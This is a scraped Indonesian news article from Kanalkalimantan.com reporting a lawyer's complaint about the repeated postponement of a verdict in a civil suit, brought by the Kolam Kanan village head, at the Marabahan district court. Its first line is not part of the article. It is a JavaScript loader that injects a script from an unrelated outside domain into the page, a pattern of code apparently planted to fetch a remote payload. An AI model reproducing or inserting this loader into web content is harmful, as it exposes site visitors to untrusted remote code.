(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,MARABAHAN – Kuasa hukum Endang Sudrajat, Pazri dari Lembaga Bantuan Hukum Borneo Nusantara (LBH BN) mempertanyakan penundaan putusan perkara perdata gugatan yang diajukan Kepala Desa Kolam Kanan di Pengadilan Negeri (PN) Marabahan, Rabu (12/7/2023) siang.
Pazri mengungkapkan kekecewaannya, seharusnya jika sesuai jadwal hari ini adalah agenda persidangan PN Marabahan yang membacakan putusan gugatan dengan nomor register 16/Pdt.G/2022/PN Mrh, berkaitan dengan dugaan perbuatan melawan hukum ternyata ditunda.
Pihak yang digugat oleh Endang Sudrajat itu ialah Kepala Inspektorat Barito Kuala, Kadis DPMD Kabupaten Barito Kuala dan Asisten Bidang Pemerintahan, telah diajukan tuntutan ganti rugi sebesar Rp15 miliar.
Baca juga: Korupsi Dana Desa, Mantan Kades di HSU Dituntut 6 Tahun
Menurut Pazri, penundaan pembacaan putusan kali ini bukan yang pertama kali karena sebelumnya juga terjadi penundaan setelah penyimpulan.
Selain itu, pihaknya tidak mendapatkan alasan yang jelas mengenai penundaan pembacaan putusan tersebut baik dari majelis hakim maupun Humas PN Marabahan.
“Padahal hanya dua minggu yang lalu, setelah penyimpulan telah terjadi penundaan. Oleh karena itu, kami mempertanyakan penundaan yang terjadi pada hari ini,” jelas Pazri, Rabu (12/7/2023) petang.
Baca juga: Korupsi Proyek Irigasi Mandiangin PUPR Banjar, Kontraktor Pelaksana Divonis 3 Tahun
Ia berharap majelis hakim dapat mempertimbangkan dengan objektif semua dalil-dalil yang diajukan dalam gugatan ini.
“Kami berharap majelis hakim kedepan dapat bersikap objektif dalam menilai semua argumen yang diajukan dalam gugatan klien kami, Kepala Desa Kolam Kanan, sehingga klien kami dapat mendapatkan keadilan,” pungkas Pazri.
Penundaan putusan sidang perkara perdata yang dialami di PN Marabahan dapat memiliki dampak negatif yang signifikan yang dapat menimbulkan ketidakpastian bagi pihak yang terlibat dalam perkara.
Dalam konteks ini, penting bagi sistem peradilan untuk menjaga ketepatan waktu dalam memberikan putusan, sehingga dapat memastikan hak-hak semua pihak dihormati dan menjaga integritas serta kepercayaan masyarakat terhadap lembaga peradilan. (Kanalkalimantan.com/rdy)
Reporter : rdy
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) resmi melantik 50… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More
Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More
KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
This website uses cookies.